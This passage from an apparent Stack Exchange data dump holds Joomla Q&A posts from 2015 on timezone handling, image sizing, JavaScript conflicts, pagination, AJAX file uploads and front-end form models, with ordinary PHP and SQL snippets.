  <row Id="9691" PostTypeId="1" AcceptedAnswerId="9735" CreationDate="2015-04-28T01:15:14.540" Score="3" ViewCount="2265" Body="&lt;p&gt;I know it's a server/joomla feature and not a bug but I am storing a date via the user profiles and when I look in phpmyadmin the date stored is always one day behind BUT when I view the value in Joomla it is the correct date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the correct value stored in the database far more than I do in the Joomla display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get Joomla to store the correct date as selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code works and outputs the date for the different offsets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Australia/Sydney' . JFactory::getDate('now', 'Australia/Sydney');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'UTC' . JFactory::getDate('now', 'UTC');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'Asia/Jakarta ' . JFactory::getDate('now', 'Asia/Jakarta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Australia/Sydney' . JFactory::getDate('today', 'Australia/Sydney');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'UTC' . JFactory::getDate('today', 'UTC');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'Asia/Jakarta ' . JFactory::getDate('today', 'Asia/Jakarta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All gives me the same result : 2015-04-29 00:00:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get joomla to give me a date with the correct timezone offset please?&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-08-29T18:10:03.313" LastActivityDate="2015-08-29T18:10:03.313" Title="Joomla is storing wrong date" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9692" PostTypeId="2" ParentId="9668" CreationDate="2015-04-28T04:08:08.383" Score="1" Body="&lt;p&gt;This definitely has to do with your image sizes. 2700x1800 pixels (almost 5MP) and 800Kb per image is way to much for a website. Reducing the image size to about 1000x667px should give you a good balance between quality and speed, and should make your images show up correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that setting the image size in your browser (e.g. &lt;code&gt;&amp;lt;img src=&quot;YourHiResImage.jpg&quot; style=&quot;width:1000px;height:667&quot;&amp;gt;&lt;/code&gt; doesn't work, because the full size image is still loaded from the server. Use a program like Photoshop, IrfanView or any other of your choice to reduce the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick way to test different image sizes is to use &lt;a href=&quot;http://placehold.it&quot; rel=&quot;nofollow noreferrer&quot;&gt;Placehold.it&lt;/a&gt;. It's a placeholder image service that let's you request a sample image of any size and color. Simply replace the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag containing your local image with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://placehold.it/1000x667/blue&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll get a blue image with exactly 1000x667 pixels. Very useful for testing. This is what your slider looks like with a sample image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UjaVt.jpg&quot; alt=&quot;Slider with sample image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, a quick advice: don't use lots of empty paragraphs &lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;/code&gt; to create empty space in your layout like you have with the &quot;Under construction&quot; slide. You have very little control of how this looks in different browsers and screen sizes. Instead, use a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag and set the height (or min-height/max-height) using CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Using display:table to center text vertically */&#xA;&amp;lt;div style=&quot;display: table; height: 600px;width:100%; overflow: hidden;&quot;&amp;gt;&#xA; &amp;lt;div style=&quot;display: table-cell; vertical-align: middle;&quot;&amp;gt;&#xA;   &amp;lt;div&amp;gt;&#xA;     &amp;lt;h1&amp;gt;Site Under Construction&amp;lt;/h1&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-28T04:08:08.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9693" PostTypeId="1" AcceptedAnswerId="9701" CreationDate="2015-04-28T04:10:04.360" Score="3" ViewCount="1022" Body="&lt;p&gt;Given that the date stored is UTC = 0 then how do I get all records with the date of today?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM table Where datefield = CURDATE()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;won't work because the stored value is the day before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So another way of asking this is - how do I add the timezone offset to the datefield field to retrieve records that match that day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="1799" LastEditDate="2015-04-28T07:17:38.653" LastActivityDate="2015-06-27T13:35:24.243" Title="How do I write my query to get data based on date?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9694" PostTypeId="1" AcceptedAnswerId="9697" CreationDate="2015-04-28T06:14:09.633" Score="0" ViewCount="853" Body="&lt;p&gt;I am in trouble from few days, suddenly I got js error &quot;Uncaught TypeError: undefined is not a function&quot; and it's point to megamenu initialization code. Few days back I have tried to uninstall the YT framework plugin and then re-installed it. And then I have noticed the js error. Because of this js error my local testing site does not functional well, most of the features are stop working. And the strange thing is everything is working correctly on my production site. I have tried to compare the yt framework plugin code of both production and testing server but both shows identical. Now I am clueless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 2.5.19. &lt;/p&gt;&#xA;" OwnerUserId="4025" LastActivityDate="2015-04-28T09:19:19.073" Title="Got js error &quot;Uncaught TypeError: undefined is not a function&quot; on testing server because of megamenu and YT framework" Tags="|joomla-2.5|plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9695" PostTypeId="1" CreationDate="2015-04-28T08:43:15.240" Score="0" ViewCount="249" Body="&lt;p&gt;I have a website with Joomla and phpbb too. I would like to include a joomla chat extension to be vieweable into my phpbb forum too. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This chat extension is not handled by a module (otherwise I know it would be impossible since every module has got &quot;defined('_JEXEC') or die ('No direct access');&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-06-30T13:58:49.337" Title="Show Joomla component outside Joomla!" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9696" PostTypeId="1" CreationDate="2015-04-28T09:08:36.670" Score="1" ViewCount="194" Body="&lt;p&gt;I am creating an application with PHP ; Joomla 3 , Nooku and MySql Database , and I am interacting with the database to get datas from a table , i get over 64400 rows to 5 columns , but the problem is that the page gets over 6 minutes to load , especially JS functions :/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help Please&lt;/p&gt;&#xA;" OwnerUserId="4147" LastActivityDate="2015-05-21T09:51:23.460" Title="Loading time is slow in Joomla PHP" Tags="|joomla-3.x|php|phpmyadmin|" AnswerCount="2" CommentCount="7" ClosedDate="2015-05-21T18:39:06.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="9697" PostTypeId="2" ParentId="9694" CreationDate="2015-04-28T09:19:19.073" Score="1" Body="&lt;p&gt;The error &lt;code&gt;Uncaught TypeError: undefined is not a function&lt;/code&gt; is normally due to a Javascript conflict. With Joomla, it's most likely due to Mootools/jQuery or a script not being imported using the Joomla API and thus duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try installing the &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/jquery-scripts/18327&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt; plugin to ensure only 1 instance of jQuery is loaded on your site and see what the outcome is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just on a side note, please update to Joomla 2.5.28 as you're quite a few versions behind, therefore haven't got the latest security, bug and feature updates&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-28T09:19:19.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9698" PostTypeId="1" CreationDate="2015-04-28T09:54:32.573" Score="4" ViewCount="487" Body="&lt;p&gt;I have a multi language site with 4 languages, and I need one article to display in all languages except one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to assign more than one language to each article, how can I override and change the select input to a tag input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2uHEe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to avoid duplicating the articles if I don't have a translation yet, or if there will be no translation needed.&lt;/p&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-07-13T13:24:56.687" Title="Article multi language selection" Tags="|articles|tags|language|multilingual|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9701" PostTypeId="2" ParentId="9693" CreationDate="2015-04-28T11:56:39.297" Score="3" Body="&lt;p&gt;You can do this by using JDate to build your query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = new JDate(); //this returns NOW in UTC&#xA;// We use JDate::format instead of toSQL because we aren't using a datetime data type&#xA;$query-&amp;gt;select('*')-&amp;gt;from('table')&#xA;    -&amp;gt;where('datefield = '.$db-&amp;gt;quote($date-&amp;gt;format('Y-m-d')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps =^D&#xA;Happy Joomla!ng&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2015-04-28T11:56:39.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9702" PostTypeId="2" ParentId="9696" CreationDate="2015-04-28T15:51:00.860" Score="1" Body="&lt;p&gt;Selecting only the relevant rows is easy, provided the component has been properly integrated in the Joomla CMS.  The first thing is to confirm you are requesting and storing the JPagination object from your view class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;{&#xA;    $this-&amp;gt;items        = $this-&amp;gt;get('Items');&#xA;    $this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination'); &amp;lt;-- IMPORTANT&#xA;    $this-&amp;gt;state        = $this-&amp;gt;get('State');&#xA;&#xA;    NewsfeedsHelper::addSubmenu('newsfeeds');&#xA;&#xA;    // Check for errors.&#xA;    if (count($errors = $this-&amp;gt;get('Errors')))&#xA;    {&#xA;        JError::raiseError(500, implode(&quot;\n&quot;, $errors));&#xA;        return false;&#xA;    }&#xA;&#xA;    $this-&amp;gt;addToolbar();&#xA;    $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;    parent::display($tpl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you are basically retrieving the pagination object to be used in the display.  In the default.php file, you would add the following to your&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;btn-group pull-right hidden-phone&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;limit&quot; class=&quot;element-invisible&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getLimitBox(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your table footer add the pagination navigation like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tfoot&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;11&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tfoot&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By utilizing the framework properly, all the heavy lifting is already abstracted away from you.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-28T15:51:00.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9703" PostTypeId="1" AcceptedAnswerId="14314" CreationDate="2015-04-28T15:53:15.937" Score="2" ViewCount="848" Body="&lt;p&gt;Running Joomla 3.4.0&#xA;SEF = on&#xA;URL writing = on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea but for some reason I cannot create any new menu items without them either showing a 404 or strangely being directed to the weblinks page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the images for detail:&#xA;(note all grey boxes are drawn on due to privacy policy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8dgi1.png&quot; alt=&quot;settings 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hx9R7.png&quot; alt=&quot;settings 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wWBq4.png&quot; alt=&quot;menu item settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other photos (some show successful menu item creation and menu item on the menu manager):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ho9XX.png&quot; alt=&quot;published menu item&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZL6Gd.png&quot; alt=&quot;no errors when making menu item&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where new menu items are linked to:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/brujc.png&quot; alt=&quot;destination of menu link returns domain.com/links&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4oQGB.png&quot; alt=&quot;showing url link generated to menu item&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Messed-up weblinks admin panel. (note: other component admin sections are working fine):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dnmKJ.png&quot; alt=&quot;no styling on weblinks admin panel section&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We haven't made any core changes and I'm worried that we may have to restore a backup and lose 2-3 days work (much data). I just cannot figure out what has gone wrong? Why would menu items for category blogs give the link of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/links/menu-item-alias&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when working older existing links are like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/menu-item-alias&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did delete some old menu items that were either unpublished or duplicates (on other menus), but after running into this problem I untrashed and published them, but no luck. I even ran a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find /our/web/root -mmin -300 -print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the terminal but it didn't return anything out of the ordinary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All ideas and contributions are welcome. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: After writing this question... the marine and nautical matters link has changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/marine-and-nautical-matters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and is working. However, the weblink component's admin panel is still in some sort of no styling view. I must go now, but will attempt to expand and solidify this question tomorrow. If you need to know any further information that I've missed, please comment on this question :) I'd be happy to update with changes.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2015-11-15T16:02:50.803" Title="New menu items lead to 404 - given bad URL - version 3.4.0" Tags="|menu-item|url|joomla-3.4|category|weblinks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9706" PostTypeId="2" ParentId="9695" CreationDate="2015-04-28T18:08:00.120" Score="1" Body="&lt;p&gt;As stated in the comments, there is now way to call a component without proper Joomla CMS initilization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can call an Url to generate the component alone, adding these parameters &quot;tmpl=component&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;a href=&quot;http://www.joomla.org/index.php?tmpl=component&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/index.php?tmpl=component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, as @bakual notes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To be precise, &amp;amp;tmpl=component will load the component.php within your active template directory, with a fallback to /templates/system/component.php. Usually that one only loads the component (plus system messages) however it could do anything you want. You could also use other values like &amp;amp;tmpl=foo which would load /templates/yourtemplate/foo.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-06-30T13:58:49.337" LastActivityDate="2015-06-30T13:58:49.337" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9707" PostTypeId="2" ParentId="9553" CreationDate="2015-04-28T18:15:23.723" Score="1" Body="&lt;p&gt;As the other posters mentioned, you should definitely be using the JInput and JSession classes that are built into Joomla if for no other reason than to ensure your app is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are familiar with the Joomla framework, you would also want to investigate using a plugin event on the render form event.  At that point, you could check your session and insert the previously entered email and name into the registration form.  It requires a bit of work, but that would be the best way to do this so you aren't hacking the Joomla core / template files and you can upgrade Joomla at any time without concern for losing your changes.&lt;/p&gt;&#xA;" OwnerUserId="4145" LastActivityDate="2015-04-28T18:15:23.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9708" PostTypeId="2" ParentId="9691" CreationDate="2015-04-28T18:17:41.547" Score="2" Body="&lt;p&gt;Joomla shows dates according to general Server Settings/&lt;strong&gt;Server Time Zone&lt;/strong&gt; configuration or specific User &lt;strong&gt;Time Zone&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your database, all dates are in UTC timezone. Then, when a date shown, it is converted to the appropiate timezone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change the general time zone or a user time zone, dates in your database will remain the same and shown dates will be updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are saving dates directly to the database, it is recommended to follow the same definition. These conversion routines are very handy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/17158920/converting-date-to-user-timezone-in-joomla&quot;&gt;Converting date to user timezone in Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-28T18:17:41.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9709" PostTypeId="2" ParentId="9545" CreationDate="2015-04-28T18:19:36.963" Score="2" Body="&lt;p&gt;In the global configuration settings for Joomla there is a Cookie Domain setting - be sure this is set.  Also be sure that you are accessing the site consistently.  If you have set the domain to be for www.yourdomain.com but you access at just yourdomain.com, the cookie may not be present.  Another consideration is when using ssl versus non-ssl.&lt;/p&gt;&#xA;" OwnerUserId="4145" LastActivityDate="2015-04-28T18:19:36.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9710" PostTypeId="2" ParentId="9545" CreationDate="2015-04-28T21:16:04.390" Score="2" Body="&lt;p&gt;I have had a similiar problem. And the solution was to configure better JCHoptimize. In my case it was a javascript conflict.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-04-28T21:16:04.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9711" PostTypeId="1" CreationDate="2015-04-29T02:24:03.057" Score="0" ViewCount="1295" Body="&lt;p&gt;I am using com_ajax in a module. I have a form with text inputs which I can pass through to the method and store to database but I am struggling to upload a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code that works fine for text inputs is as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;resultsDiv&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;form name=&quot;form1&quot; method=&quot;post&quot; action=&quot;&quot; id=&quot;form1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;text1&quot; id=&quot;text1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;text2&quot; id=&quot;text2&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; id=&quot;btnAdd&quot;&amp;gt;Save&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_ajax_test.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Include the helper.&#xA;require_once __DIR__ . '/helper.php';&#xA;&#xA;// Instantiate global document object&#xA;$doc = JFactory::getDocument();&#xA;&#xA;$js = &amp;lt;&amp;lt;&amp;lt;JS&#xA;(function ($) {&#xA;&#xA;$(document).on('click', '#btnAdd', function () {&#xA;    var value   = {text1:$(&quot;#text1&quot;).val(),text2:$(&quot;#text2&quot;).val()};&#xA;    request = {&#xA;            'option' : 'com_ajax',&#xA;            'module' : 'ajax_text',&#xA;            'method' : 'addRecord',&#xA;            'data'   : value,&#xA;            'format' : 'raw'&#xA;        };&#xA;    $.ajax({&#xA;        type   : 'POST',&#xA;        data   : request,&#xA;        success: function (response) {&#xA;             $(&quot;#resultsDiv&quot;).html(response);&#xA;        }&#xA;    });&#xA;});&#xA;&#xA;})(jQuery)&#xA;JS;&#xA;&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;require JModuleHelper::getLayoutPath('mod_ajax_test');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function addRecordAjax()&#xA;{&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $formData = new JInput($input-&amp;gt;get('data', '', 'array')); &#xA;    $text1 = $formData-&amp;gt;getString('text1');&#xA;    $text2 = $formData-&amp;gt;getString('text2');&#xA;&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Insert columns.&#xA;    $columns = array(&#xA;        'text1',&#xA;        'text2'&#xA;    );&#xA;&#xA;    // Insert values.&#xA;    $values = array(    &#xA;        $db-&amp;gt;quote($text1),&#xA;        $db-&amp;gt;quote($text2)&#xA;    );&#xA;&#xA;    // Prepare the insert query.&#xA;    $query&#xA;        -&amp;gt;insert($db-&amp;gt;quoteName('table1'))&#xA;        -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        -&amp;gt;values(implode(',', $values));&#xA;&#xA;    // Set the query using our newly populated query object and execute it.&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;execute();&#xA;&#xA;    if ($error = $db-&amp;gt;getErrorMsg()) {&#xA;        throw new Exception($error);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it is possible to do so how might I go about:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Upload file to directory on server and store location in database&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Upload file and store binary data to database blob field&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please provide examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4152" LastEditorUserId="4152" LastEditDate="2015-04-29T02:50:01.340" LastActivityDate="2015-05-01T05:40:26.873" Title="Is it possible to upload file using Joomla Ajax Interface (com_ajax)" Tags="|joomla-3.x|jquery|ajax|file-upload|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9712" PostTypeId="1" AcceptedAnswerId="9713" CreationDate="2015-04-29T07:17:23.820" Score="0" ViewCount="180" Body="&lt;p&gt;I'm using jform and joomla's core features of dealing with forms. i.e. Using XML as forms then storing it with JTable etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom component has to deal with CRUD operation strictly at front-end. Hence, insert, select, update queries should work at front-end only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to insert form data (with jform and jtable) successfully. Now the time has arrived, where I need to retrieve existing form data which was inserted earlier by user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my tasks which inserts data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_helpdesk&amp;amp;task=request.add&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My controller extends, JControllerForm base class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can I retrieve data in if I pass &quot;id&quot; parameter to following URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_helpesk&amp;amp;task=request.edit&amp;amp;id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I see usual code from core classes, I saw, they have extended JModelAdmin class in Administrator part. I never seen code which retrieves values from database and show it on form. Do I really need to extend my model with JModelAdmin class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone route me to the correct path here?&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-29T11:03:09.130" Title="Joomla Form - Retrieve Values based on ID (Front End)" Tags="|joomla-3.x|jform|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9713" PostTypeId="2" ParentId="9712" CreationDate="2015-04-29T11:03:09.130" Score="0" Body="&lt;p&gt;I do not see any issue extending &lt;code&gt;JModelAdmin&lt;/code&gt; class. I do it myself in development and furthermore you can extend you classes which were made for administrator part. You can see it in action in &lt;code&gt;com_content&lt;/code&gt; &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/models/form.php&quot; rel=&quot;nofollow&quot;&gt;form model&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Base this model on the backend version.&#xA;require_once JPATH_ADMINISTRATOR . '/components/com_content/models/article.php';&#xA;&#xA;class ContentModelForm extends ContentModelArticle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-04-29T11:03:09.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9714" PostTypeId="2" ParentId="9674" CreationDate="2015-04-29T11:15:13.533" Score="5" Body="&lt;p&gt;I ended up going for the JSON method recommended by @Rob Clayburn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It dumps a massive object with everything there is to know about the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up writing the following to provide me with the review title and main text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $url        = 'http://extensions.joomla.org/index.php?option=com_jed&amp;amp;view=extension&amp;amp;layout=details&amp;amp;id=3711&amp;amp;format=json';&#xA;    $contents   = file_get_contents($url);&#xA;    $decode     = json_decode($contents, true);&#xA;    $reviews    = $decode['reviews'];&#xA;&#xA;    foreach ($reviews as $key =&amp;gt; $value) &#xA;    {&#xA;        echo $value['core_title']['html'] . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;        echo $value['core_body']['html'] . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also replace &lt;code&gt;html&lt;/code&gt; with either &lt;code&gt;value&lt;/code&gt; or &lt;code&gt;text&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the new JED, you're able to write something for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Functionality&lt;/li&gt;&#xA;&lt;li&gt;Ease of 